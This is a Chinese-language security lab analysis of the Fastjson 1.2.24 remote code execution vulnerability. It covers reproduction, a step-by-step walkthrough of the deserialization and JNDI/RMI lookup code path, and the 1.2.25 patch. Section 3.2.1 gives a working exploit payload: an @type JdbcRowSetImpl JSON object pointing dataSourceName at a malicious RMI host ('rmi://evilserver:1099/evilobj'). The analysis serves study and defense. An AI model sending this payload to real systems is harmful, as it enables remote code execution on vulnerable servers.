Fastjson 1.2.24远程代码执行漏洞分析 – 作者:深信服千里目安全实验室

1.漏洞信息

1.1 漏洞简介

漏洞名称：Fastjson 1.2.24 Remote Code Execution （com.sun.rowset.JdbcRowSetImpl）

漏洞编号：无

漏洞类型：Remote Code Execution

CVSS评分：无

漏洞危害等级：高危

1.2 组件概述

Fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法，把JSON Parse的性能提升到极致，是目前Java语言中最快的JSON库。Fastjson接口简单易用，已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。下图是Fastjson组件中的反序列化流程。

1.3 漏洞概述

漏洞是利用fastjson autotype在处理json对象的时候，未对@type字段进行完全的安全性验证，攻击者可以传入危险类，并调用危险类连接远程rmi主机，通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用，获取服务器的敏感信息泄露，甚至可以利用此漏洞进一步对服务器数据进行修改，增加，删除等操作，对服务器造成巨大的影响。

1.4 漏洞利用条件

无

1.5 漏洞影响

影响版本： Fastjson < 1.2.25

1.6 漏洞修复

获取Fastjson最新版本，下载链接：https://github.com/alibaba/fastjson

2.漏洞复现

2.1 环境拓扑

2.2 应用协议

8080/HTTP

2.3 复现过程

基于Windows平台，使用环境目录下的fastjsondemo环境，拷贝后使用Idea打开fastjsondemo文件夹，下载maven资源，运行DemoApplication类，即可启动环境。效果如图。

运行sniper工具箱，填写表单信息，点击Attack，效果如图。

3.漏洞分析

3.1 技术背景

JavaBean:

JavaBean 是特殊的 Java 类，使用 Java 语言书写，并且遵守 JavaBean API 规范。JavaBean的特征：

提供一个默认的无参构造函数。

需要被序列化并且实现了 Serializable 接口。

可能有一系列可读写属性。

可能有一系列的 getter 或 setter 方法。

方法	描述
getPropertyName()	举例来说，如果属性的名称为 myName，那么这个方法的名字就要写成 getMyName() 来读取这个属性。这个方法也称为访问器。
setPropertyName()	举例来说，如果属性的名称为 myName，那么这个方法的名字就要写成 setMyName()来写入这个属性。这个方法也称为写入器。

程序实例

public class StudentsBean implements java.io.Serializable
{
private String firstName = null;
private String lastName = null;
private int age = 0;
​
public StudentsBean() {
}
public String getFirstName(){
return firstName;
}
public String getLastName(){
return lastName;
}
public int getAge(){
return age;
}
​
public void setFirstName(String firstName){
this.firstName = firstName;
}
public void setLastName(String lastName){
this.lastName = lastName;
}
public void setAge(int age) {
this.age = age;
}
}

3.2 详细分析

3.2.1 漏洞利用过程

首先在本地开启恶意的rmi服务（rmi://evilserver:1099），并绑定恶意类（evilobj），恶意类中存放着可以执行任意命令的java程序。找到fastjson组件入口（一般是传json字符串的地方），传入{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evilserver:1099/evilobj","autoCommit":true}，即可完成漏洞利用。

3.2.2 代码分析

Fastjson通过parseObject方法解析传入的json数据。

调用DefaultJSONParser缺省方法对json格式数据进行解析。

在方法的参数中，调用ParserConfig.getGlobalInstance()方法获取ParserConfig类中的初始配置，其中黑名单(denyList)也在此类中进行配置。

调用addDeny方法循环添加denyList数组中的黑名单。

回到DefaultJSONParser方法，初始化结束后，调用JSONScanner方法对传入的json字符串设置读取位置，判断过程中处理Unicode字符集的BOM标识。

回到DefaultJSONParser方法，为token赋值。

回到JSON入口类，获取到DefaultJSONParser类型对象，调用parse()方法进行解析。

在parse方法中，通过判断lexer.token()，进入对应的代码块。

调用JSONObject构造方法，初始化JSONObject类中的map属性。

回到DefaultJSONParser#parse方法，调用parseObject方法，对传入的json数据进行字节读取。

一般会读取json字符串中的双引号进入scanSymbol方法中，在scanSymbol方法中计算字符串的hash。

调用addSymbol方法，将键名添加到SymbolTable中。

回到DefaultJSONParser#parseObject方法中，判断key值是否为@type。如果是，则进入if判断条件下的代码块中。

调用scanSymbol方法，以双引号作为quote变量值，进行@typejson字段值的value读取。

获得@type的键值，调用addSymbol方法，将@type的字段值添加到SymbolTable中。

回到DefaultJSONParser#parseObject方法中，调用TypeUtils.loadClass方法进行类加载操作。

进入loadClass方法中，首先会在现有的mappings中寻找从@type传入的classname。

如果在原有的mappings中没有记录传入的classname，则调用contextClassLoader.loadClass获取AppClassLoader类加载器，并加载到mappings中与@type传入的类进行关联，最后返回clazz对象。

回到DefaultJSONParser#parseObject方法中，调用this.config.getDeserializer(clazz)获取反序列化器。

进入getDeserializer方法中，首先现有的IdentityHashMap中进行hash匹配，如果无法匹配，则进入第二个if判断条件中重载getDeserializer方法，继续获取反序列化器。

在getDeserializer(Class<?> clazz, Type type)方法中，首先依然会与现有的IdentityHashMap中进行hash匹配。如果无法匹配，会事先进行黑名单匹配，在调用ServiceLoader.load判断META-INF/services/下是否存在传入的classname类。

如果没有寻找到对应的类，则判断传入的classname是否是继承java.lang.Enum、是否是array类型选择对应的反序列化器生成方法。如果上述条件不满足，则继续判断传入的classname是否为Set、HashSet、Collection、List、ArrayList，如果不是则继续判断classname是否继承Collection，Map，Throwable接口。如果上述条件都不满足，则调用createJavaBeanDeserializer方法生成JavaBean反序列化器。

进入createJavaBeanDeserializer方法，判断asmEnable是否为true，调用JavaBeanInfo.build方法建立JavaBean。

建立JavaBean过程中，通过反射机制获取传入的class中所有的属性，方法，并保存在数组中。选择一个无参构造函数作为默认的构造函数。

循环遍历method数组中的方法，并从中选取符合条件的方法。（条件：同时满足方法名长度大于4；非静态方法；方法类型为Void。或者方法类型与方法所在类相同）

再从筛选的规则中继续筛选出形参数量为1的方法。

再从筛选出的方法中获取以set方法开头的方法，并检测JavaBean的方法命名规范，筛选出符合规范的方法。调用TypeUtils.getField方法获取与set方法对应的属性值。

进入getField方法中，遍历@type传入的class以及其父类的所有属性值，返回寻找到属性。

最终调用add方法，将获取的Field属性保存到fieldList列表中。

再以相同的流程筛选出存在get方法的属性值，如果筛选出的filed属性值不在fieldList，则添加到fieldList列表中。

调用JavaBeanInfo方法对JavaBeanInfo中的属性进行初始化，并返回实例化对象。

回到ParserConfig#createJavaBeanDeserializer方法中，获取到beanInfo对象，并从beaninfo中取出defaultConstructor默认构造器、field属性。

通过检测fieldClass属性值，为asmEnable标志位赋值

根据asmEnable标志位，进行if条件判断，调用JavaBeanInfo.build方法，并返回beanInfo对象。再调用ASMDeserializerFactory#createJavaBeanDeserializer方法生成反序列化器。

进入ASMDeserializerFactory#createJavaBeanDeserializer方法中，通过ASM生成class文件的字节流，调用newInstance方法进行实例化，返回实例化对象。

在实例化过程中，会将beaninfo中的属性赋值给JavaBeanDeserializer类中的filed反序列化器。

回到ParserConfig#getDeserializer方法，调用putDeserializer方法，将生成的反序列化器与@type传入的class类进行关联，最后返回反序列化器

回到DefaultJSONParser#parseObject方法，调用deserializer.deserialze方法进行反序列化。

反序列化过程中，调用JSONScanner类中与field类型对应的方法，从传入的json字符串中找到属性的value值。（例如下图中，使用scanFieldString方法处理String类型方法）

调用charArrayCompare判断传入的json字符串中，是否存在选中的field的value。如果存在，则通过闭合的双引号定位传入参数长度，并提取键值对中的value。通过判断双引号之后的符号，判断当前json解析状态（返回不同的token值）

再调用JavaBeanDeserializer#parseRest方法，通过token值进入对应的代码块，从生成的sortedFieldDeserializers反序列化器中取出field反序列化器，并从取出属性值

与上述反序列化流程中第一次取属性值流程相同，根据属性类型，选择对应的方法进行解析。

调用setValue方法将json中传入的属性值，传入到class实例化对象中，为其内部属性赋值。

在赋值过程中会通过反射，调用属性值对应的set方法

进入connect方法中调用lookup方法，形参中的getDataSourceName()方法会获取之前已经从json解析并赋值的dataSource属性，获取恶意rmi服务。

进入InitialContext.lookup()方法解析之后的流程，就是JNDI注入攻击流程。

先进入getURLOrDefaultInitCtx方法进行获取上下文，根据传入的url协议，获取对应的上下文对象。

实例化RegistryContext对象，调用getRegistry方法获取远程注册中心的绑定对象。

在获取远程对象的过程中，调用TCPEndpoint()方法，为LiveRef内部ed属性赋予远程终端ip及端口信息。调用UnicastRef，获取RemoteRef类型的远程对象。

进入createProxy方法获取并返回RegistryImpl stub。

回到com.sun.jndi.rmi.registry.RegistryContext，将RegistryImpl_Stub对象赋予给registry属性。

回到GenericURLContext#lookup方法中，调用Registry.lookup方法。

在lookup方法中调用registry.lookup()方法，由于之前已经将RegistryImpl_Stub赋值给registry，直接进入RegistryImpl_Stub.lookup()方法中。

在RegistryImpl_Stub#lookup方法中，调用ref.newCall方法获取基于ref的RemoteCall类型的远程调用对象。并将访问远程rmi服务上的类名进行序列化，调用invoke方法传给远程服务。

之后将从远程获取的序列化数据进行反序列化，执行恶意序列化中的恶意命令。

3.2.3补丁分析

Fastjson1.2.25版本新增了checkAutoType方法，设置了autotype开关，对@type字段进行限制。如果autotype开关关闭，则无法从@type字段传入类进行jndi攻击。

增加了黑名单中的类，对fastjson的gadget进行拦截。

4.参考链接

https://www.runoob.com/jsp/jsp-javabean.html

http://xxlegend.com/2018/10/23/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/3.https://github.com/alibaba/fastjson/compare/1.2.24…1.2.25

来源：freebuf.com 2020-11-16 10:36:51 by: 深信服千里目安全实验室